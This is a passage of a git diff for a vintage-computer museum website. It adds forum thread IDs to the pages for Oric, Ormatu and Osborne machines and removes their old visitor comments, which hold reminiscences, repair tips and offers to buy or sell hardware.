--- a/content/museum/oric-1.md +++ b/content/museum/oric-1.md @@ -69,6 +69,7 @@ params: - emulators - links - docs + forum_thread: 190 photos: - title: ORIC-1 subtitle: '' @@ -338,92 +339,6 @@ params:  type of document : PDF\  source : [Defence Force](http://www.defence-force.org) - comments: - - author: Danilo (Netherlamds) - date: Saturday 19th January 2019 - text: How about the succes this computer had here in the Netherlands! - - author: 8Bit Baz (Hull, UK) - date: Friday 16th February 2018 - text: |- - The Oric is one of those things that you ''fall in love with'' when you are a disaffected teenager. You choose a machine that isn''t exactly the coolest or most popular around but clearly is ''something else''.\ - How many ways do we "lurve" thee, Oric?\ - Check out the threads and posts here to find out, guys: - - http://atari.boards.net/thread/2446/oric-count-ways-love-thee - - author: DigitalDunc (England) - date: Friday 19th September 2014 - text: |- - I remember when I got my first Oric-1 (I was still in school then) and immediately took it apart. Back then it was all magic. Computers these days don''t inspire me in the same way. Sigh! - - I met the guy who wrote the ROM and he was rude to me! He nearly crushed my dreams but luckily failed. - - author: Mickael Pointier (Norway) - date: Tuesday 8th January 2013 - text: |- - Greetings, - - 2013 marks the 30th birthday of the Oric 1.\ - Some of the Oric community main sites have joined to organize some celebrations during 2013. - - You can read more about it on the official celebration page (english and french) here:\ - http://oric30years.defence-force.org - - We also have a facebook page with regular posts about the Oric machines, their history, peripherals, etc...\ - https://www.facebook.com/OricBirthday - - author: Brian Gregory (UK) - date: Saturday 6th November 2010 - text: I have an Oric-1. I bought the Oric rather than a Sinclair ZX Spectrum because I liked the proper bus expansion connector on the back and I wanted to experiment. It''s actually my second one since the cassette input failed in a few weeks on the first. The replacement failed too but by then the Oric-1 circuit diagram had been published in Oric User Magazine and comparing the diagram with what was actually in my Oric-1 (it wasn''t quite exactly the same) I could see part of the cassette interface that looked badly designed so I tried fixing it and it worked!!! The solution, if you have an Oric that won''t load from cassette is to fit a pull-up resistor on the input from the cassette interface to the 6522 VIA chip. I just soldered the resistor under the PCB across pins 18 and 20 of the 6522 VIA. I used 2k2 but 4k7 would probably be plenty. The original design used only the on chip pull-up but I knew from experience that the pull-ups in the 6522 were often very weak. - - author: salsaman - date: Friday 15th October 2010 - text: 'I remember a friend of mine had one of these. What most impressed me was that there were four built in commands for making sound effects: "shoot", "zap", "ping" and "explode".' - - author: Jeremy Thomson (New Zealand) - date: Monday 30th August 2010 - text: |- - The Oric 1 was the first computer I owned. Brought into New Zealand by Barson Brothers of Papakura. There were rumours in the 90''s that they still had a warehouse full of them.\ - What sold me on the Oric was the sound, there was a real paper cone speaker about 3-4cm in diameter. It was LOUD! At certain frequencies I could vibrate the Oric across the desk, much like a cell phone on vibrate. Most of my programming was generating interesting sounds. You could get 4 bit digital waveforms out of the sound chip by rapidly (machine code) changing the volume register. So I learnt 6502 assembly on the Oric. I had the assembler and Forth language plus a few games\ - I thought the embedded colour attributes was an interesting technical response to the demands of hires graphics, 8 colours on screen, and memory conservation. To change the color of a pixel, somewhere to the left of that pixel you changed the foreground/background colour. This took up 8 pixels and set the foreground/background ($ flash) for the rest of the scan line or until another attribute code is found. - - author: Stuart - date: Monday 14th June 2010 - text: |- - Bought one of these for the younger offspring and it eventually went faulty. - - I still have the replacement model (which featured a proper keyboard) but, unfortunately, the other half threw out the games and operating tapes for it. - - author: Adrian Pitman (Somerset,UK) - date: Saturday 27th December 2008 - text: Ahhh the memories!,this was my very 1st computer that my Dad bought me 2nd hand, I can still remember going to the original owners house to see it working, after having this for a while I then had a Spectrum+ - - author: Stephen Lambert (UK) - date: Thursday 24th January 2008 - text: Hello, I've just been given an Oric 1 from my friend and I can't seem to get it working. I plug it in okay and connect it to the tv but i don't get any picture. I can tell the machine is turned on because there is a very quiet buzzing sound coming the inside. Any advice will be very much appreciated, thanks. - - author: Mark Urquhart-Webb (UK) - date: Friday 4th May 2007 - text: |- - This was the first computer I paid for. I learned most computing on a ZX81 I borrowed from a friend. I had to wait way too long for it to arrive after I ordered it (as I did when I bought s Sinclair QL) but I loved it, despite the really clunky keyboard. - - 'Bang', 'ping', 'zap' etc.... who can forget these built in sounds? - - author: anasana (Ukraine, Odessa) - date: Friday 17th June 2005 - text: |- - Hello again, since my last message, I have found many Lode Runner clone games\ - and create the LodeDome web-site with them.\ - Look there, if You wish to play the LR games for ORIC and other old computer platforms. - - author: Nigel (New Zealand) - date: Tuesday 27th April 2004 - text: |- - I remember repairing hundreds of these. The machine used low-grade RAM chips which tended to fail - sometimes all at once. The tell-tale faulty RAM could be detected by the temperature of the chips. Some ran red hot and could be detected with a fingertip, but on others, the easiest way to tell was by applying an even coating of freeze-it spray across all of the chips, and seeing which one(s) cleared the quickest.\ - The replacement RAM had to be put in IC sockets, as the PCB through hole plating didn't survive more than one desoldering/soldering cycle. - - author: anasana (Ukraine, Odessa) - date: Wednesday 18th June 2003 - text: |- - Please Help me to find work version of "Eddy Lode" game (Lode Runner game clone).\ - From http://romualdl.oric.org/progs/oric_eddylode.html - - author: Glyn Cowan (Glasgow) - date: Tuesday 11th March 2003 - text: |- - In reply to Stuart it could be that the pins that connect the keyboard to the computer have worked their way out from their socket slightly, this used to happen to mine a lot when I used it, you will need to open the case and push them back into place. I have a couple of oric one's and a couple of atmos's I've managed to get one of each working however I only have two games one called Zorgons Revenge (which works) and the other is a version of galaxsaians (which dosent-you cant get the ship to go left after you move it to the right) If anyone has any other software and would like to send me a copy or would like a copy of either of my games pleade let me know at glyncowan@hotmail.com - - Thanks - - author: Stuart (UK) - date: Wednesday 6th March 2002 - text: I've still got an old Oric 1 48K but the keyboard is not working (it boots up OK). I THINK that it may be the keyboard chip, but I'm not sure. Does anyone have any ideas? Or, if it sounds like the chip may be the problem, any ideas where I can obtain another one?? related: - /museum/oric-atmos - /museum/oric-nova-64 diff --git a/content/museum/oric-atmos.md b/content/museum/oric-atmos.md index d3cc779f..e7ea675d 100644 --- a/content/museum/oric-atmos.md +++ b/content/museum/oric-atmos.md @@ -71,6 +71,7 @@ params: - links - docs - videos + forum_thread: 94 photos: - title: LARGE VIEW subtitle: '' @@ -380,68 +381,6 @@ params: - title: Oric Atmos 48K Computer advert url: http://video.google.com/googleplayer.swf?docId=-7974860455467320376&hl=fr text: 'Length: 32 s' - comments: - - author: Brian Gregory (UK) - date: Saturday 6th November 2010 - text: I have an Oric-1. I bought the Oric rather than a Sinclair ZX Spectrum because I liked the proper bus expansion connector on the back and I wanted to experiment. It''''s actually my second one since the cassette input failed in a few weeks on the first. The replacement failed too but by then the Oric-1 circuit diagram had been published in Oric User Magazine and comparing the diagram with what was actually in my Oric-1 (it wasn''''t quite exactly the same) I could see part of the cassette interface that looked badly designed so I tried fixing it and it worked!!! The solution, if you have an Oric that won''''t load from cassette is to fit a pull-up resistor on the input from the cassette interface to the 6522 VIA chip. I just soldered the resistor under the PCB across pins 18 and 20 of the 6522 VIA. I used 2k2 but 4k7 would probably be plenty. The original design used only the on chip pull-up but I knew from experience that the pull-ups in the 6522 were often very weak. - - author: Danilo (Netherlands) - date: Saturday 19th January 2019 - text: Though teh computers both didn$t sell in great numbers, the really addicted fan''s bought a very versatile home computer with an excettekt manuak which included a full course in Basic and an full explanation on alle the commands the Oriac an Atmos worked with. But there was al lot of competition at the time. - - author: Glyn Harper (Isle of Man) - date: Saturday 7th April 2018 - text: |- - The Atmos was the first computer I ever owned! I saved up half the money, and my parents paid the other half.\ - All my friends had either commodore 64’s or Spectrums, but I wanted something more serious. I think basically I fell in love with the black and red keyboard design! Aesthetically it was the nicest machine around.\ - Sadly it died after a few months and Oric had gone, so Dixon’s swapped it for the nearest thing, a Spectrum plus.\ - About 20 years ago I was in touch with someone who worked at Oric, and managed to get a brand new machine as they’d kept a few when they’d gone bust. So now I once again have a working Atmos, that sits pride of place in my collection. - - author: Rob Davis (Telford, Shropshire) - date: Monday 29th February 2016 - text: I took the dear old Oric Atmos from the attic in July 2015 and it all worked perfectly, the disc drive still functioned and all the discs had their data intact after 30 years. Amazing! - - author: Jules (Poole Dorset / UK) - date: Tuesday 13rd November 2012 - text: |- - I had an Atmos.\ - I agree with the quality of the manual. A tutorial on 6502 MC code programming and a list of the rom function calls. That taught me real programming when I was 14.\ - I also found that I needed a serial port and built my own on vero, from a design in a magazine. Then wrote a simple mc code dumb terminal emulator program, with my new found skills.\ - I did buy one of the floppy drives, but had lots trouble getting it working. Eventually it was discovered that I had been shipped a slave drive, rather than a master. But by the time we had worked this out, Oric had gone bust. (Though the new owners did help me out and got me a proper master drive. Thanks lads.)\ - It''s still all in the loft. Will have to drag it all out and see if it works. That will be a shock for the kids!! - - author: Rob Davis (Telford, Shropshire) - date: Friday 11th March 2011 - text: I learned all about programming on the Atmos, which I still have and with its disk drive, still works, the data intact from over 25 years ago. The user manual was quite outstandingly good, the best computer manual I have ever seen. When I started out in home computing I was advised that "If you''re a user, buy a Spectrum, if you''re a programmer, buy the Oric." It was fantastically accurate advice. I''ve now a Master''s in IT and work developing multiuser corporate databases - all thanks to skills learned on the Atmos. - - author: baba bont (Holland) - date: Friday 21st January 2011 - text: |- - I''ve made my final paper on an Oric Atmos using Author.\ - Great small keyboard with all the necessary keys.\ - Together with an Brother HR-5 (Thermal paper $-) it was a combination to beat!\ - Better than the IBM word processor machine of IBM at the hotel I worked. - - A pity, marketing was not the best of this Oric - - author: Philip Ayres (UK$) - date: Sunday 5th September 2010 - text: |- - $quote$\ - Apparently the BBC used the Atmos to provide the video displays in the space hopper spaceship for the final season of Blakes7.......not sure if thats true...!\ - $/quote$ - - Well seeing as Season 4 of Blake''s 7 aired the tail end of ''81 and the ATMOS was released early 84..... NO! - - author: Rosdi (Seremban, Malaysia) - date: Tuesday 24th June 2008 - text: I upgraded to the Atmos from the ORIC-1 (I was a student nurse at Ealing Hospital, London). I feel it was way above several other microcomputers at that time. As I understand it Oric International made a wrong marketing strategy. Otherwise things could have been different, especially with the Stratos waiting in the wings. My programming skills were honed on the Oric 1 and Atmos. It was fun working on it, even when translating Sinclair BASIC and BBC BASIC into Oric BASIC. Sometimes I still miss the Atmos. - - author: Christian (Cumbria, UK) - date: Wednesday 4th April 2007 - text: Apparently the BBC used the Atmos to provide the video displays in the space hopper spaceship for the final season of Blakes7.......not sure if thats true...! - - author: Panagiotis (Athens/Greece) - date: Tuesday 7th December 2004 - text: That’s my first and unforgettable computer at 1984 (13 years old I was). Currently, I am a computer scientist but I can't describe my feelings when I touch the black keys of the black-red case with the upper-right logo "Oric Atmos 48k" on it. This computer offered excellent programming environment (for its money and that period of time) especially for amateurs with a powerful basic and excellent sound and graphics capabilities. BUT in addition to all the above, the overall design of the computer, the production history that has and the passion of ORIC users, is the reason that I consider ORIC a LEGEND in computer history. - - author: Arakeen (France) - date: Thursday 16th January 2003 - text: |- - When it was quite hot (it was rather fast...), it was enough to press the plastic with two hands so that it is blocked... ( sometimes even without the hands...)\ - Ah là là, that it idescriptible emotion to see all his work lost after 10 pages of Hébdogiciel... I cry about it still today... - - author: George (Athens/Greece) - date: Saturday 20th April 2002 - text: Very nice home micro. It's a pitty that it did not overcome the Sinclair Spectrum. Things could be different in the mid '80s. related: - /museum/oric-1 - /museum/oric-nova-64 diff --git a/content/museum/oric-nova-64.md b/content/museum/oric-nova-64.md index d0657a51..31d57785 100644 --- a/content/museum/oric-nova-64.md +++ b/content/museum/oric-nova-64.md @@ -63,6 +63,7 @@ params: - emulators - links - docs + forum_thread: 1154 photos: - title: ORIC NOVA 64 subtitle: '' @@ -335,24 +336,6 @@ params:  type of document : PDF\  source : [Defence Force](http://www.defence-force.org) - comments: - - author: Ivan (Serbia) - date: Wednesday 2nd April 2014 - text: Still have functional ORIC NOVA 64. greaqt machine for that time. - - author: Miroslav (Serbia) - date: Wednesday 8th February 2012 - text: I''ve used this machine ..unbelievable experience for that time - - author: Misha (Yugoslavia/Serbia/USA) - date: Monday 30th January 2012 - text: We used to have few of them back in late ''80s, in my elementary school. It was a fun machine, it had internal speaker and great built-in basic for that time. Probably one of the best looking 8-bit computers at that time too.... - - author: drvmandic - date: Thursday 26th January 2012 - text: |- - As a matter of fact, the "Oric Nova 64" was officialy adopted by the federal government in Yugoslavia as the main educational-purpose computer in schools (both primary and secondary) in 1986., after several years of heavy discussions about which computer should be the most appropriate one for that use.\ - It was assembled in Yugoslavia, by "Avtotehna" - Ljubljana, out of parts imported from Oric directly, under exclusive licence (only the label "Oric Nova 64" was printed in Yugoslavia). Each and every school had to have "Nova 64" for educational purposes, but almost noone has ever really worked on them. In 1988. most of the schools have acquired more powerful computers for computer science education (some of them even purchased PC clones) independently from the government regulations, so "Nova 64" was slowly but surely pushed away. To say nothing about strangeness of such computer in the country where "Commodore 64"s and "Spectrum 48"s ruled for years then...\ - All these informations can be checked out in Yugoslav computer magazines of that time, primarily in "Moj Mikro" (published in Slovenia). - - I myself have graduated from the computer science high school in 1989., but never put my hands on "Nova 64"''s keyboard - those computers were kept in locked clasroom, in order to prevent anyone touching that expensive, but completely useless machine in time when my school has already purchased 32 PC clones and installed them in a classroom with unrestricted access (unlike the classroom equipped with "Nova 64"s)... Only once have I seen a couple of first-year students working on "Nova"s, but under strict supervision of three (!) teachers, while my (senior) class was making programs in Fortran 77 on those PCs next door completely unsupervised... related: - /museum/oric-1 - /museum/oric-atmos diff --git a/content/museum/oric-stratos-iq-164.md b/content/museum/oric-stratos-iq-164.md index d6f89339..a6681e6b 100644 --- a/content/museum/oric-stratos-iq-164.md +++ b/content/museum/oric-stratos-iq-164.md @@ -71,6 +71,7 @@ params: value: 457 in 85 (never released/sold) tabs: - photos + forum_thread: 236 photos: - title: PETER WATERWORTH subtitle: '' @@ -145,10 +146,6 @@ params: Phone | RS232 | Minitel | power-in | Disk interface | Expansion port | Centronics | Midi | RVB output | Tape-recorder image: /media/museum/photos/oric_telestrat_rear.jpg - comments: - - author: David Davies (Wales, United Kingdom) - date: Saturday 7th January 2012 - text: According to issue 10 of Big K magazine (January 1985), it was announced that the Stratos would not come with a built-in BASIC - like the Telestrat that was based on it. So maybe this needs correcting in the information. oc_id: 226 source: url: https://web.archive.org/web/20230606190153/http://www.old-computers.com/museum/computer.asp?c=226 diff --git a/content/museum/oric-telestrat.md b/content/museum/oric-telestrat.md index 6283b1c0..f2fb71db 100644 --- a/content/museum/oric-telestrat.md +++ b/content/museum/oric-telestrat.md @@ -68,6 +68,7 @@ params: - hardware - software - links + forum_thread: 245 photos: - title: SIDE VIEW subtitle: '' @@ -114,10 +115,6 @@ params: - title: Pinky url: http://www.troude.com/Pinky/Index.html-ssi text: History of server powered by a Telestrat ! With pix (french) - comments: - - author: Dietmar Belloff (Germany) - date: Monday 21st May 2007 - text: This is a nice site with great work! As an longtime Oric-User and being in the know of some details I have to correct the Name of the DOS used by the Oric Telestrat Computer. It is not named StradSED but SEDOric and was available for the old Orics as an addon as well. Furheron, the Telestrat was identical to the Atmos in ROM (V1.1). I could state this since I played with it at Frankfurt Home Comuter Fair in 1985 and its got the same HIRES command bug as Oric-1 and Atmos inside. One of the developers was not amused as he saw me discovering this bug:) oc_id: 235 source: url: https://web.archive.org/web/20230528093011/http://www.old-computers.com/museum/computer.asp?c=235 diff --git a/content/museum/ormatu-electric-bv-ormatu-video-spelcomputer-2001.md b/content/museum/ormatu-electric-bv-ormatu-video-spelcomputer-2001.md index 6a886212..1d1ab6fb 100644 --- a/content/museum/ormatu-electric-bv-ormatu-video-spelcomputer-2001.md +++ b/content/museum/ormatu-electric-bv-ormatu-video-spelcomputer-2001.md @@ -14,6 +14,7 @@ params: - emulators - links - docs + forum_thread: 810 photos: - title: ORMATU SPELCOMPUTER 2001 subtitle: '' diff --git a/content/museum/ormatu-electric-bv-video-spelcomputer-1001.md b/content/museum/ormatu-electric-bv-video-spelcomputer-1001.md index 2f876c18..c8f687c8 100644 --- a/content/museum/ormatu-electric-bv-video-spelcomputer-1001.md +++ b/content/museum/ormatu-electric-bv-video-spelcomputer-1001.md @@ -12,6 +12,7 @@ params: - software - links - docs + forum_thread: 1281 photos: - title: ORMATU 1001 subtitle: '' diff --git a/content/museum/osborne-corp-08.md b/content/museum/osborne-corp-08.md index ee530484..a7a11cdd 100644 --- a/content/museum/osborne-corp-08.md +++ b/content/museum/osborne-corp-08.md @@ -62,6 +62,7 @@ params: value: Extension box - label: PRICE value: 'OCC-08-D: 3500 , OCC-08-H: 4130' + forum_thread: 900 oc_id: 923 source: url: https://web.archive.org/web/20220807152150/http://www.old-computers.com/museum/computer.asp?c=923 diff --git a/content/museum/osborne-corp-encore.md b/content/museum/osborne-corp-encore.md index d8b90d3c..ed76fff3 100644 --- a/content/museum/osborne-corp-encore.md +++ b/content/museum/osborne-corp-encore.md @@ -58,6 +58,7 @@ params: value: Unknown tabs: - photos + forum_thread: 135 photos: - title: INSIDE ENCORE subtitle: '' @@ -96,13 +97,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/osborne_3_keyboard_s1.jpg - comments: - - author: John Tepper Marlin (USA) - date: Saturday 6th September 2014 - text: I agree with Gene (US) that the screen shows 25 viewable lines but it toggles up and down. I also still have this machine. For word processing it was fine. I brought this Osborne around the world with me on a three-month trip in 1986. That was the year Osborne went broke. - - author: gene (US) - date: Wednesday 25th September 2013 - text: The description has one small error. Even though the screen only displays 16 lines at a time, all 25 lines can be viewed (at least on the Osborne 3 that I have.) There is a button on the monitor that let you choose whether the top 16 lines or bottom 16 lines are displayed. It makes some programs a little quirky to use, but at the time this was one of the very few 100$ IBM compatible laptops available for a reasonable price. oc_id: 122 source: url: https://web.archive.org/web/20230329000505/http://www.old-computers.com/museum/computer.asp?c=122 diff --git a/content/museum/osborne-corp-executive.md b/content/museum/osborne-corp-executive.md index ae36298a..efda1456 100644 --- a/content/museum/osborne-corp-executive.md +++ b/content/museum/osborne-corp-executive.md @@ -64,6 +64,7 @@ params: - photos - adverts - software + forum_thread: 564 photos: - title: FRONT VIEW subtitle: '' @@ -175,68 +176,6 @@ params: The famous ELIZA program (the computer psychiatrist) was originally written in 1965 by Dr. Joseph Weizenbaum at MIT. The program soon became famous for its ability to make people think they were talking not with a computer but with a person. Most people, at the time, found it fascinating.\ This version allowed to change ELIZA's conversational habits, and even write completely new subject by programming scripts. image: /media/museum/software/osborne_executive_elizaprog_s1.jpg - comments: - - author: Tom Hayes - date: Monday 16th March 2015 - text: |- - The specs shown here for the Executive are incorrect. This system was equipped with a 6MHz Z80B CPU not the 4MHz Z80A as stated. - - Tom Hayes\ - Product Manager for the Osborne Executive - - author: Dr. Fred Fidura (West Virginia, USA) - date: Thursday 9th May 2013 - text: I recently purchased an Osborne Executive and desperately need copies of the distribution disks, particularly the boot disk. I would be happy to supply the necessary blank disks and pay reasonable expenses. - - author: Abholzer Franz Xaver (Germany) - date: Tuesday 1st January 2013 - text: |- - 1.1.2013 Germany, bavaria,\ - I have a OSBORNE EXECUTIV , New, with all the original parcel, all th original software ( CP/M Plus 3.0 ) and Supercalc and Wordstar/Mail Merge, MBASIC / CBASIC, UCSD p-System, the Resensts of hte University of California Vers. IV.12.B, Personal Peearl, and all the books, all is complete N E W !!\ - I will give up this all for 500,-Euros.\ - Worldwide - please ask for the porto ! - - e-mail: sport@abholzer.com\ - Please contact me. - - author: Awinash Bhatkar (USA) - date: Friday 16th November 2012 - text: I have a Osborne Executive Computer with original software and Foghorn magazine, plus extra statistics and Wordstar software. Is any one interested? - - author: christina (ny usa) - date: Monday 28th November 2011 - text: wondering where i could find one of these to buy from someone. this was made the year my husband was born and the spelling of osborne is the same way we spell our name. he''s very much into computers and i''d love to surprise him with one of these for his 30th birthday. - - author: Dirk (Germany) - date: Tuesday 5th April 2011 - text: |- - @Will: possible to send me copies of the disks if i pay for it? - - @Jerry: how much if you ship them to germany? - - author: Will Meyer (St Louis MO USA) - date: Thursday 2nd December 2010 - text: |- - John - I have an Execuitive - I can make you backup copies of the disks if you still need them.\ - \- Will - - author: Jerry Paulson$ (USA) - date: Tuesday 23rd November 2010 - text: John $ I have an Osborne Executive with a complete disk package that I would be willing to sell as a package. - - author: John Williams - date: Saturday 14th August 2010 - text: I was wondering if anyone has an idea as to where I could get disks for my osborne executive - - author: Erik (Australia) - date: Sunday 25th April 2010 - text: I saw an Osborne Executive (or was it the Osborne 1) in a Youtube video titled ''Computer Virus TV News Report'' and the video was all about the Morris Internet worm that spread throughout the Internet, shutting down thousands of computers. Search Youtube for ''computer virus tv news'' and you''ll see what I mean. - - author: Albert - date: Friday 26th March 2010 - text: Our university lab had a few of these. Each one was connected to a standard monitor. - - author: felix (berlin(Deutschland)) - date: Saturday 2nd December 2006 - text: |- - i have a osborne 1\ - but no keyboard for that i use just a cable to enter\ - & no OS Disks - - author: David (MO) - date: Sunday 30th January 2005 - text: I found a place where they sell the same model monitor or very similar to the Osborne 1s' and the Osborne Executives'. You could use it to replace the monitor on your's. To find the web sight you can look up monochrome monitor on www.google.com. It is on one of those web sites. - - author: remi (california, usa) - date: Sunday 4th May 2003 - text: The executive (I have) does not boot of the Osborne 1 disks. Is that normal ? oc_id: 573 source: url: https://web.archive.org/web/20230528104353/http://www.old-computers.com/museum/computer.asp?c=573 diff --git a/content/museum/osborne-corp-osborne-1.md b/content/museum/osborne-corp-osborne-1.md index 6f434194..5ea13c59 100644 --- a/content/museum/osborne-corp-osborne-1.md +++ b/content/museum/osborne-corp-osborne-1.md @@ -64,6 +64,7 @@ params: - photos - adverts - links + forum_thread: 191 photos: - title: ANOTHER PICTURE subtitle: '' @@ -150,155 +151,6 @@ params: - title: Osborne page url: http://www.digitalcentury.com/encyclo/update/osborne.html text: A bit of history... - comments: - - author: michael osborne (San Francisco, CA USA) - date: Friday 20th April 2012 - text: |- - My name is Michael Osborne { no relationship } and I am a graphic designer. I designed the Osborne Computer logo in 1980 at my first job out of school. Of course, we didn''t even have computers at the time. I have had my own design firm now for 30 years: www.modsf.com\ - So amazing to see this after all this time! - - author: Scott Scholz (United States) - date: Sunday 3rd July 2022 - text: Had an Osborne 1a in my AF recruiting office in 1982. It was the ss/sd drive, but there had been an after market supplier of a DD board. Found it in the Osborne mag, but they were $ping the line. I bought 3 for $25 ea, (they offered to sell me the entire stock plus jigs, but passed on it) and sold the other two to members of the QCOUG for enough to cover mine. You had to solder leads directly to chips on the main board. Actually have the VHS tape for dealers display, somewhere. - - author: Douglas K McClelland (United States) - date: Tuesday 1st June 2021 - text: I use to sell and repair Osborne, Commodore pets and North Stars. The killer problem with the Osborne and KayPros was that they would fail to boot. Their was a hard lesson learned here about EMI. In short because the switching power supply was located behind the floppy disk drive, it would couple EM Interference into the pickup heads on the floppy. This caused bad faulty data sector reads and therefore it would fail to boot C/PM. If you were to take it apart and move the floppy drive away from the chassis it would boot C/PM just fine - - author: John Eckert (Brookings, Oregon) - date: Wednesday 27th May 2020 - text: I have serial number 1000 Osborne 1. I bought it in Toledo Ohio. It fit under the seat in an airplane and I remember plugging it in at Ohare and doing a little computing. First time I every saw that with a computer. - - author: Chris Young (Suwanee, Georgia ) - date: Monday 22nd July 2019 - text: Just got a complete Osborne setup for 30$. Seeing everyone talk about plugging them in and them frying I am afraid of turning it on. It smells new. Anyone know who I can turn to that knows a bit about them? I do have some of the books and boxes. - - author: Lynne (United States) - date: Thursday 23rd June 2016 - text: Back in the day, I sold Osborne computers in Falls Church, VA. Recently discovered the original manual v 1.1 (in hardcover folder) multipart registration form, Nov 1981 MicroPro End User Agreement. In case there is historical interest, am offering it up. Any interest? Sold my own Osborne years back and apparently forgot where these documents were. - - author: Barry Marshall (Perth, Australia) - date: Tuesday 28th April 2015 - text: |- - To Henry in Texas, from 2013,\ - Do you still have the manuals? I just bought an Osborne Executive but the power supply blew up (crackles and smoke +++). It seems to be a capacitor which exploded. So I am looking for a circuit diagram of the power supply,\ - Many Thanks.\ - Barry - - author: Francisco Martinez (mahwah New Jersey U.S.A) - date: Wednesday 4th February 2015 - text: i want on who selling one for cheap i got like 100 bucks and ill pay shipping email me at frankymartinez202@gmail.com - - author: Alexander Ross (Dublin Ohio USA) - date: Sunday 27th October 2013 - text: |- - Hello vintage computing fans!\ - If any of you still haven''t been introduced to me, let me reintroduce myself. - - I''m a vintage computer collector and preservationist, I live in Dublin Ohio - - I make boot diskettes for the Osborne 1 series of computers. - - Right now I''ve got my very popular Osborne 1 "original package" on sale for only $30 plus shipping. - - The ever popular "Original package" comes with all 5 floppy diskettes that launched with the Osborne when it came out. - - They are as followed - - CP/M system\ - CP/M utility\ - CBASIC/MBASIC\ - Wordstar\ - Mailmerge. - - All the programs you need to start using your Osborne 1 again! - - Please contact me at "galacnor@gmail.com" for more information - - author: David Signorelli (West Virginia/ USA) - date: Thursday 14th March 2013 - text: |- - I 1st worked on and used them in 1982 at a Computerland in our local area. Heavy yes, but portable. I had all kinds of customers that where on the move using them.\ - I still have 2 of them not sure if they still work the wire wound connections would tarnish and cause problems. - - author: David Carlick - date: Monday 11th February 2013 - text: |- - I was ad agency for Osborne$ my partners then Jaciow Kelley Miller $ Orr, who did the design, and amusingly, the designer from the firm was indeed Michael Osborne. Loved the work. - - Am now, for a variety of reasons, on a bit of a history voyage around this and would love to hear from those who were on the journey then. - - There was a great deal of passion around giving people computing power. I still think that we were among the first advertisers to show men at a keyboard or with a computer. - - And, to Lee Felsenstein''s point about the hand ''bulging with veins'' holding the computer at the photo shoot, it was my hand, and on successive shoots we got an empty case. - - That said, on any given night of the dozen Osbornes at our agency in 1981, half went home with people, despite being 24-pound ''sewing machines,'' predicting the current life we live of computing and communications weaving through our lives and permeating the borders of 9-5 forever. - - author: David Carlick (USA) - date: Monday 11th February 2013 - text: Advertising Agency for Osborne - - author: Henry (Texas) - date: Wednesday 30th January 2013 - text: |- - I have the Osborne 1 (old style) very low serial number (273?) that my father bought for me, when I graduated high school in May 1981. It works fine.\ - Later, we got newer O1''s and Executives. A friend that had a computer shop gave me all of his Osborne repair manuals, spare NOS parts (CRT''s, keyboards...) and lots of software. I have it all stored. - - author: Timo (Finland) - date: Saturday 18th August 2012 - text: I had this computer for a short time in the 90''s. Then I sold it away. I have regretted it deeply. - - author: Peter (Luxembourg) - date: Wednesday 22nd February 2012 - text: I have a working Osborne I with tons of software. All the documentation is included. It works fine. Amazing that these computers work after 30 or so years. - - author: Bill (Mich) - date: Tuesday 1st November 2011 - text: I think all of the Osborne''s had the detachable keyboard. It may have been the Kaypro that had the keyboard on a hinge. - - author: Bill (USA) - date: Tuesday 1st November 2011 - text: I had the adapter to use mine with the (BIG) 12'' monitor that could be used for full screen. - - author: Tom F (NJ / USA) - date: Saturday 29th October 2011 - text: I have one of these which I inherited from my father. Mine has the detachable keyboard which is connected by the coiled wire. I dont have the software for it so I have never had it "running" but it does power up. - - author: Tom F (NJ / USA) - date: Saturday 29th October 2011 - text: I have one of these which I inherited from my father. Mine has the detachable keyboard which is connected by the coiled wire. I dont have the software for it so I have never had it "running" but it does power up. - - author: JC Speiser Sr (Jacksonville, Florida USA) - date: Tuesday 22nd February 2011 - text: What a blast form the past! This was my first CP/M machine...I actually had a Winchester 10 Megabyte external Disk with it. The disk was larger than the computer. - - author: Groag - date: Tuesday 22nd June 2010 - text: Hello I''m interested in buying one of these. If you sell Osborne 1 please contact me at gogsy@mail.bg - - author: Jim Gall (Belle Mead, NJ) - date: Monday 31st July 2006 - text: I've got two of these, one I bought only for the keyboard. (It has a 220v PSU in it, so it's no use to me as-is). I managed to get a copy of CP/M for the one that has a US 120v PSU, and it boots up fine (just tested it last weekend). Having never used one of these machines before, I was amazed at the system. If anyone wants a non-US Osborne-1, email me. - - author: Alan Wilkerson (Portland OR) - date: Wednesday 11th May 2005 - text: |- - Owned an O1 and loved it. Sold it a few years back and there's a part of me that wishes I still had it. Also had three years of the old FOG horn magazines. - - Peace\ - Alan - - author: David (MO) - date: Sunday 30th January 2005 - text: I found a place where they sell the same model monitor or very similar to the Osborne 1s' and the Osborne Executives'. You could use it to replace the monitor on your's. To find the web sight you can look up monochrome monitor on www.google.com. It is on one of those web sites. Also does anyone have a Osborne I can have. If you do I will give you my Email. Like I say I will like to take it off your back. - - author: 1ajs (winnipeg canada) - date: Tuesday 18th November 2003 - text: i got the osborn 1b used to have 2 in my basemant now only 1 with software and it was bought by sherit and when they closed the mine my dad took the 2 osborns caues they were going to be through them out. - - author: Angus (Toronto, Canada) - date: Thursday 7th August 2003 - text: I have two complete and operational Osborne 1 systems complete with large monitors, an epson dot matrix printer, a letter quality daisy-wheel printer and lots of software - If anyone needs software, let me know as I also have blank 360 K disks. - - author: Eric (San Diego) - date: Thursday 19th June 2003 - text: |- - I dug out my old Osborne I a month ago and it booted up and was ready to run.....where might I buy some blank floppies (360K) for it??? also, any way with todays printers I can hook up a printer???\ - Thanks - - author: mike nastav (indy) - date: Sunday 15th December 2002 - text: |- - I have an Osborne 1 that I picked up on Ebay as I had and sold one many many years ago and wanted one again now. I do not have any software. Does anyone know where I can get (even buy) software (CP/M, MBasic, etc...) Thanx for any help. Also would like to pick up some peripherals but s/w is my first priority. Please sne dme an email as it doesnt look like this forum gets updated much. - - Thanx!!!!!! - - author: Sam Wilson (Bergen) - date: Saturday 2nd November 2002 - text: |- - Help!\ - I have an osborne 1 (the later model), and the keyboard doesn't work.... the machine boots up normally, and it goes into HELP sometimes. What should I do? - - author: Bill Duke (Pensacola, FL) - date: Monday 22nd July 2002 - text: I have 3 Osborne-1 computers. One has a C-Drive(a RAM-DRIVE) that is connected through the 488-Port. I am looking for the software to enable me to use the RAM-Drive. I have the software for the Osborne-Executive but it will not work on the Osborne-1. I have a lot of the software for the Osborne-1. Thanks. - - author: William J Dikkers (Earth) - date: Friday 19th April 2002 - text: An Osborne I is still part of my (small) collection of oldies. It is still working in CP/M mode. But additional to that I have Floppies with an implementation of CP/M-MUMPS (Massachuchets University Medical Programming System) that was used in many non-medical environments, because it was very afficient as a 